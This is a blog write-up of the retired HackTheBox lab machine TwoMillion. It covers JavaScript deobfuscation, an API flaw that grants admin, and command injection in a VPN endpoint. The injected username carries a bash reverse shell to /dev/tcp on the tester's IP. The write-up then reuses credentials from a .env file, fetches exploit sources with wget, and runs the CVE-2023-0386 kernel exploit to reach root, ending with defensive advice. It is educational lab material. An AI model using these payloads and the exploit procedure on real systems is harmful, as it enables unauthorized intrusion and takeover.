Skip to main content
HackTheBox - TwoMillion
  1. Posts/

HackTheBox - TwoMillion

Table of Contents
HackTheBox Retired Machines - This article is part of a series.
Part 1: This Article

Machine Overview
#

TwoMillion is a nostalgic machine from HackTheBox that celebrates the platform reaching 2 million users. This machine features an old HackTheBox website with multiple API endpoints vulnerable to exploitation. The attack path involves JavaScript deobfuscation, API enumeration, privilege escalation through insecure endpoints, command injection for initial access, and finally kernel exploitation for root privileges.

Machine Information
#

AttributeDetails
NameTwoMillion
PlatformHackTheBox
DifficultyEasy
OSLinux (Ubuntu 22.04.2 LTS)
IP Address10.10.11.221
Kernel5.15.70-051570-generic
Attack VectorAPI Exploitation → Command Injection → CVE-2023-0386

Phase 1: Reconnaissance and Initial Enumeration
#

Port Scanning
#

Starting with comprehensive port enumeration using nmap:

1
nmap -sV -sC --disable-arp-ping 10.10.11.221 -o initial_scan.txt

Scan Results:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 13:35 EDT
Nmap scan report for 10.10.11.221
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis:

  • SSH (22/tcp) - OpenSSH 8.9p1
  • HTTP (80/tcp) - nginx with redirect to 2million.htb

Host Configuration
#

Adding the hostname to local hosts file:

1
echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts

Web Application Discovery
#

Visiting http://2million.htb reveals an old HackTheBox website with:

  • Login page: /login
  • Registration page: /invite (requires invitation code)

Directory Enumeration
#

Running feroxbuster to discover hidden directories and files:

1
feroxbuster -u http://2million.htb

Key Findings:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
302      GET        0l        0w        0c http://2million.htb/logout => http://2million.htb/
405      GET        0l        0w        0c http://2million.htb/api/v1/user/login
200      GET       27l      201w    15384c http://2million.htb/images/favicon.png
200      GET        1l        8w      637c http://2million.htb/js/inviteapi.min.js
405      GET        0l        0w        0c http://2million.htb/api/v1/user/register
200      GET       94l      293w     4527c http://2million.htb/register
401      GET        0l        0w        0c http://2million.htb/api
200      GET       96l      285w     3859c http://2million.htb/invite
200      GET       80l      232w     3704c http://2million.htb/login
302      GET        0l        0w        0c http://2million.htb/home => http://2million.htb/
200      GET      245l      317w    28522c http://2million.htb/images/logofull-tr-web.png

Critical Discovery: /js/inviteapi.min.js - Obfuscated JavaScript file containing API logic


Phase 2: JavaScript Analysis and API Discovery
#

Identifying Hidden Endpoints
#

Inspecting the /invite page source revealed an interesting JavaScript file:

1
<script defer src="/js/inviteapi.min.js"></script>

Obfuscated JavaScript Code:

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Deobfuscation Process
#

Using de4js.kshift.me to deobfuscate the code:

Deobfuscated Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function verifyInviteCode(code) {
    var formData = {"code": code};
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

Discovered API Endpoints:

  • /api/v1/invite/verify
  • /api/v1/invite/how/to/generate

Phase 3: Invitation Code Generation
#

Step 1: Requesting Generation Instructions
#

1
curl -sX POST http://2million.htb/api/v1/invite/how/to/generate

Response:

1
2
3
4
5
6
7
8
9
{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

Step 2: ROT13 Decryption
#

Using CyberChef to decode ROT13:

Decoded Message:

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

Step 3: Generating the Invite Code
#

1
curl -sX POST http://2million.htb/api/v1/invite/generate

Response:

1
2
3
4
5
6
7
8
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "NlM0RTQtRUgySkYtWUNEVUstTlo1Qjc=",
    "format": "encoded"
  }
}

Step 4: Base64 Decoding
#

1
echo NlM0RTQtRUgySkYtWUNEVUstTlo1Qjc= | base64 -d

Invite Code: 6S4E4-EH2JF-YCDUK-NZ5B7

Step 5: Account Registration
#

Using the invite code at /invite, registered with:

  • Username: 7r00t
  • Email: 7r00t@gmail.com
  • Password: password123

Login Successful - Session Cookie: PHPSESSID=35ab1dd1m5asa81as0in5qaeop


Phase 4: API Enumeration and Exploration
#

Discovering API Structure
#

1
curl -s http://2million.htb/api --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop"

Response:

1
{"/api/v1":"Version 1 of the API"}

Complete API Enumeration
#

1
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" | jq

Full API Map:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Critical Discovery: Admin endpoints are exposed and accessible!


Phase 5: Privilege Escalation via API
#

Checking Admin Status
#

First, verify if the current user has admin privileges:

1
2
curl -s http://2million.htb/api/v1/admin/auth \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" | jq

Response:

1
2
3
{
  "message": false
}

Not an admin - Need to find a way to escalate privileges.

Testing Admin VPN Generation Endpoint
#

Attempting to access admin-only endpoint:

1
2
curl -sX POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" | jq

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Unauthorized"
}

Exploiting Settings Update Endpoint
#

Testing the /api/v1/admin/settings/update endpoint with PUT method:

Step 1: Initial Request (No Headers)

1
2
curl -sX PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop"

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Invalid content type"
}

Step 2: Adding Content-Type Header

1
2
3
curl -sX PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json"

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Step 3: Adding Email Parameter

1
2
3
4
curl -sX PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"email": "7r00t@gmail.com"}'

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Step 4: Adding is_admin Parameter (Boolean)

1
2
3
4
curl -sX PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"email": "7r00t@gmail.com", "is_admin": true}'

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1"
}

Step 5: Final Payload (Integer Value)

1
2
3
4
curl -sX PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"email": "7r00t@gmail.com", "is_admin": 1}' | jq

Response:

1
2
3
4
5
{
  "id": 13,
  "username": "7r00t",
  "is_admin": 1
}

Successfully escalated to admin privileges!

Verifying Admin Access
#

1
2
curl -s http://2million.htb/api/v1/admin/auth \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" | jq

Response:

1
2
3
{
  "message": true
}

Confirmed: Account is now admin!


Phase 6: Command Injection Exploitation
#

Testing Admin VPN Endpoint
#

Now that we have admin privileges, test the admin VPN generation endpoint:

Step 1: Empty Request

1
2
3
4
curl -sX POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{}' | jq

Response:

1
2
3
4
{
  "status": "danger",
  "message": "Missing parameter: username"
}

Step 2: Valid Username

1
2
3
4
curl -sX POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"username": "7r00t"}' | jq

Response: Returns a VPN configuration file!

Command Injection Discovery
#

Hypothesis: The server likely executes a shell command like gen_vpn.sh [username] to generate VPN configs.

Testing for Command Injection:

1
2
3
4
curl -sX POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"username": "test;id"}' | jq

The command executed silently - Command Injection Confirmed!

Vulnerability: The username parameter is not sanitized and is directly passed to a shell command.

Obtaining Reverse Shell
#

Terminal 1 - Set up listener:

1
nc -lvnp 4444

Terminal 2 - Trigger reverse shell:

1
2
3
4
curl -sX POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=35ab1dd1m5asa81as0in5qaeop" \
  --header "Content-Type: application/json" \
  --data '{"username": "test;bash -c \"bash -i >& /dev/tcp/10.10.14.22/4444 0>&1\""}' | jq

Listener Output:

1
2
3
4
5
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.221] 52488
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

Shell obtained as www-data!

Shell Stabilization
#

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
# Press Enter twice
export TERM=xterm

Phase 7: Lateral Movement to Admin User
#

Discovering Credentials in Web Directory
#

Exploring the web application directory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Oct 18 21:00 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Oct 18 21:00 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views

Critical File Discovered: .env

Extracting Database Credentials
#

1
2
3
4
5
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Credentials Found:

  • Username: admin
  • Password: SuperDuperPass123

SSH Access as Admin
#

1
ssh admin@2million.htb

Password: SuperDuperPass123

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
admin@2million.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

  System information as of Sat Oct 18 07:15:39 PM UTC 2025

  System load:           0.0
  Usage of /:            73.8% of 4.82GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             226
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.221

You have mail.
Last login: Sat Oct 18 18:42:30 2025 from 10.10.14.22
admin@2million:~$

Successfully authenticated as admin via SSH!


Phase 8: User Flag Capture
#

1
2
3
4
5
admin@2million:~$ ls
user.txt

admin@2million:~$ cat user.txt
[REDACTED]

Phase 9: Privilege Escalation to Root
#

Discovering Kernel Vulnerability Hint
#

Checking admin’s mail for clues:

1
admin@2million:~$ cat /var/mail/admin

Email Content:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're 
partially down, can you also upgrade the OS on our web host? There have been a 
few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE 
looks nasty. We can't get popped by that.

HTB Godfather

Key Intelligence: OverlayFS / FUSE kernel vulnerability mentioned!

Kernel Version Analysis
#

1
2
admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Vulnerability: Kernel version 5.15.70 (September 2022) is vulnerable to CVE-2023-0386


Phase 10: CVE-2023-0386 Exploitation
#

Understanding CVE-2023-0386
#

CVE-2023-0386 is a local privilege escalation vulnerability in the Linux kernel’s OverlayFS file system implementation. When combined with FUSE (Filesystem in Userspace), it allows unprivileged users to gain root privileges.

Vulnerability Details:

  • Component: Linux Kernel OverlayFS + FUSE
  • Affected Versions: Kernel versions before 6.2
  • Impact: Local privilege escalation to root
  • CVSS Score: 7.8 (High)
  • CVE Reference: CVE-2023-0386

How the Exploit Works:

  1. FUSE Filesystem Creation: The exploit creates a FUSE-based filesystem that presents a malicious binary
  2. OverlayFS Mounting: It uses OverlayFS to create a layered filesystem with:
    • Lower layer: FUSE-mounted filesystem (controlled by attacker)
    • Upper layer: Writable layer for modifications
    • Merged layer: Combined view of both layers
  3. Capability Manipulation: The vulnerability allows setting file capabilities on the merged layer that persist when the file is accessed
  4. SUID Binary Creation: The exploit creates a SUID binary with elevated capabilities
  5. Privilege Escalation: Executing the SUID binary grants root privileges

Key Components:

  • fuse.c - Creates the FUSE filesystem and exposes the getshell binary
  • exp.c - Mounts OverlayFS and triggers the capability manipulation
  • getshell.c - The payload that spawns a root shell

Exploit Compilation on Attack Machine
#

Step 1: Environment Setup

1
2
3
cd ~/HTB/Retired
git clone https://github.com/puckiestyle/CVE-2023-0386.git
cd CVE-2023-0386

Step 2: Installing Dependencies

1
2
sudo apt-get update
sudo apt-get install -y libfuse-dev libcap-dev

Step 3: Fixing Compilation Issues

1
2
# Add missing header to fuse.c
sed -i '3a #include <unistd.h>' fuse.c

Step 4: Compilation

1
make all

Compilation Output:

1
2
3
4
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
/usr/bin/ld: warning: Using 'dlopen' in statically linked applications...
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

Exploit binaries created: fuse, exp, gc

Exploit Transfer and Compilation on Target
#

Step 1: Starting HTTP Server

1
python3 -m http.server 8000

Step 2: Downloading Source Files on Target

1
2
3
4
5
admin@2million:~$ cd ~
admin@2million:~$ wget http://10.10.14.22:8000/exp.c
admin@2million:~$ wget http://10.10.14.22:8000/fuse.c
admin@2million:~$ wget http://10.10.14.22:8000/getshell.c
admin@2million:~$ wget http://10.10.14.22:8000/Makefile

Step 3: Compiling on Target

1
2
3
4
admin@2million:~$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

Running the Exploit
#

Step 1: Create Required Directory Structure

Important: The exploit requires specific directories for OverlayFS mounting:

1
2
3
4
admin@2million:~$ mkdir -p ./ovlcap/lower
admin@2million:~$ mkdir -p ./ovlcap/upper
admin@2million:~$ mkdir -p ./ovlcap/work
admin@2million:~$ mkdir -p ./ovlcap/merged

Directory Purpose:

  • lower/ - Lower layer for OverlayFS (FUSE mount point)
  • upper/ - Upper layer for OverlayFS (writable layer)
  • work/ - Work directory for OverlayFS operations
  • merged/ - Merged view of lower and upper layers

Step 2: Execute FUSE Mounting

1
2
admin@2million:~$ ./fuse ./ovlcap/lower ./gc &
[1] 2075

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[+] len of gc: 0x3ee0
mkdir: File exists
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file

What’s Happening:

  • The FUSE program creates a virtual filesystem
  • It exposes the gc (getshell) binary through the FUSE mount
  • This sets up the environment for the OverlayFS exploit

Step 3: Trigger Privilege Escalation

1
admin@2million:~$ ./exp

Exploit Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jan 21 10:03 .
drwxrwxr-x 7 root   root     4096 Jan 21 10:02 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~#

Step 4: Verify Root Access

1
2
root@2million:~# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)

ROOT ACCESS ACHIEVED!

Troubleshooting Common Issues
#

Issue 1: “No such file or directory” Error

1
2
3
admin@2million:~$ ./fuse ./ovlcap/lower ./gc &
mkdir: No such file or directory
fuse: failed to access mountpoint ./ovlcap/lower: No such file or directory

Solution: Create the required directory structure first:

1
mkdir -p ./ovlcap/{lower,upper,work,merged}

Issue 2: “Permission denied” When Running Exploit

1
2
3
admin@2million:~$ ./exp
[+] exploit success!
sh: 1: ./ovlcap/upper/file: Permission denied

Solution: Ensure the FUSE process is running in the background before executing ./exp. Check with:

1
ps aux | grep fuse

Issue 3: Compilation Warnings

1
fuse.c:107:21: warning: format '%d' expects argument of type 'int'

Solution: These warnings are non-critical and can be ignored. The exploit will still function correctly.


Phase 11: Root Flag Capture
#

1
2
root@2million:~# cat /root/root.txt
[REDACTED]

SYSTEM FULLY COMPROMISED - Domain Administrator Privileges Obtained!


Attack Chain Summary
#

Complete Attack Path Visualization
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. Port Scan (nmap)
2. Web Application Discovery (2million.htb)
3. JavaScript Deobfuscation (inviteapi.min.js)
4. API Endpoint Discovery (/api/v1/invite/*)
5. ROT13 + Base64 Decoding (Invite Code)
6. User Registration & Authentication
7. API Enumeration (/api/v1)
8. Privilege Escalation (/api/v1/admin/settings/update)
9. Command Injection (/api/v1/admin/vpn/generate)
10. Reverse Shell (www-data)
11. Credential Discovery (.env file)
12. SSH Lateral Movement (admin user)
13. User Flag Capture
14. Kernel Vulnerability Discovery (Mail hint)
15. CVE-2023-0386 Exploitation
16. Root Access & Flag Capture

Defensive Recommendations
#

Immediate Actions
#

1. API Security

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Implement proper authentication middleware
# Example: Express.js middleware
function requireAdmin(req, res, next) {
    if (!req.session.user || !req.session.user.is_admin) {
        return res.status(403).json({error: "Forbidden"});
    }
    next();
}

app.put('/api/v1/admin/settings/update', requireAdmin, updateSettings);

2. Input Validation

1
2
3
4
5
6
7
8
9
// Sanitize all user inputs
function sanitizeUsername($username) {
    // Whitelist approach - only allow alphanumeric characters
    return preg_replace('/[^a-zA-Z0-9_-]/', '', $username);
}

// Use parameterized commands
$safe_username = escapeshellarg($username);
exec("openvpn --generate $safe_username", $output, $return_var);

3. System Patching

1
2
3
4
5
6
7
# Update kernel to latest version
sudo apt update
sudo apt upgrade linux-generic
sudo reboot

# Verify kernel version
uname -r  # Should be 6.2 or higher

Tools and Resources
#

Exploitation Tools Used
#

ToolPurposeCommand Example
nmapPort scanningnmap -sV -sC 10.10.11.221
curlAPI testingcurl -X POST -H "Content-Type: application/json"
jqJSON parsing`curl …
CyberChefData decodingROT13, Base64 decoding
de4jsJavaScript deobfuscationOnline tool at de4js.kshift.me
netcatReverse shell listenernc -lvnp 4444
sshRemote accessssh admin@2million.htb
PythonShell stabilizationpython3 -c 'import pty;pty.spawn("/bin/bash")'
gccExploit compilationgcc exploit.c -o exploit
makeBuild automationmake all

Reference Links#


Vulnerability Summary
#

CVE-2023-0386: OverlayFS Privilege Escalation
#

Technical Details:

  • CVSS Score: 7.8 (High)
  • Attack Vector: Local
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Vulnerability Description:

A flaw was found in the Linux kernel’s OverlayFS subsystem. When combined with user namespaces and FUSE (Filesystem in Userspace), unprivileged users can create and manipulate overlay mounts in ways that allow privilege escalation to root.

Affected Systems:

  • Linux Kernel versions < 6.2
  • Ubuntu 22.04.2 LTS with kernel 5.15.70
  • Systems with user namespaces enabled
  • Systems with FUSE support

Exploitation Requirements:

  1. Local access to the system
  2. Unprivileged user account
  3. User namespaces enabled (default on most distributions)
  4. FUSE filesystem support

Mitigation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Update to patched kernel version
sudo apt update
sudo apt install linux-generic

# Alternatively, disable user namespaces
echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

# Or disable FUSE for unprivileged users
chmod 700 /dev/fuse


Common Pitfalls and Troubleshooting
#

Issue 1: JSON Syntax Error in curl
#

Problem:

1
curl: (3) URL using bad/illegal format or missing URL

Solution:

1
2
3
4
5
# Incorrect - Missing opening brace
--data "email": "user@example.com", "is_admin": 1

# Correct - Proper JSON format
--data '{"email": "user@example.com", "is_admin": 1}'

Issue 2: CVE-2023-0386 Compilation Errors
#

Problem:

1
2
error: implicit declaration of function 'read'
error: implicit declaration of function 'close'

Solution:

1
2
3
# Add missing header to fuse.c
sed -i '3a #include <unistd.h>' fuse.c
make all

Issue 3: Exploit Runs But No Root Access
#

Problem: Exploit completes but cannot access /root directory

Solution:

1
2
3
4
5
6
7
8
# The exploit creates a namespace with root UID but limited capabilities
# Run the exploit in the correct sequence:
./fuse ./ovlcap/lower ./gc &
sleep 2
./exp

# You should get a root shell in the current namespace
# From there, you can read /root/root.txt

Issue 4: Session Cookie Expires#

Problem:

1
{"status": "danger", "message": "Unauthorized"}

Solution:

1
2
3
4
5
6
7
8
# Re-login to get fresh session cookie
curl -sX POST http://2million.htb/api/v1/user/login \
  --header "Content-Type: application/json" \
  --data '{"email": "7r00t@gmail.com", "password": "password123"}' \
  -c cookies.txt

# Use the new cookie
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=NEW_SESSION_ID"

Alternative Attack Paths
#

Method 1: Database Access
#

Instead of SSH, you could access the database directly:

1
2
3
4
5
6
7
8
# Connect to MySQL with discovered credentials
www-data@2million:~/html$ mysql -u admin -p'SuperDuperPass123' -h 127.0.0.1 htb_prod

# Enumerate users
mysql> SELECT * FROM users;

# Add admin user or modify existing user
mysql> UPDATE users SET is_admin=1 WHERE username='7r00t';

Additional Resources
#

Learning Materials
#

1. API Security

2. Linux Privilege Escalation

3. Kernel Exploits

Conclusion
#

TwoMillion serves as an excellent introduction to modern web application security testing and Linux privilege escalation. The machine effectively demonstrates how multiple seemingly minor vulnerabilities can be chained together for full system compromise.

Key Takeaways:

  1. Client-side code is not secure - Never expose sensitive endpoints or logic in JavaScript
  2. API security is critical - Proper authentication, authorization, and input validation are essential
  3. Keep systems patched - Known kernel vulnerabilities provide easy privilege escalation
  4. Defense in depth works - Multiple security layers prevent single points of failure
  5. Credential reuse is dangerous - Use unique, strong passwords and proper secrets management

This writeup is for educational purposes only. Always ensure proper authorization before testing security vulnerabilities in any environment. Unauthorized access to computer systems is illegal.

Disclaimer: The techniques described in this writeup should only be used in authorized penetration testing engagements, CTF competitions, or personal lab environments. The author assumes no liability for misuse of this information.


Connect With Me:


I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
HackTheBox Retired Machines - This article is part of a series.
Part 1: This Article

Related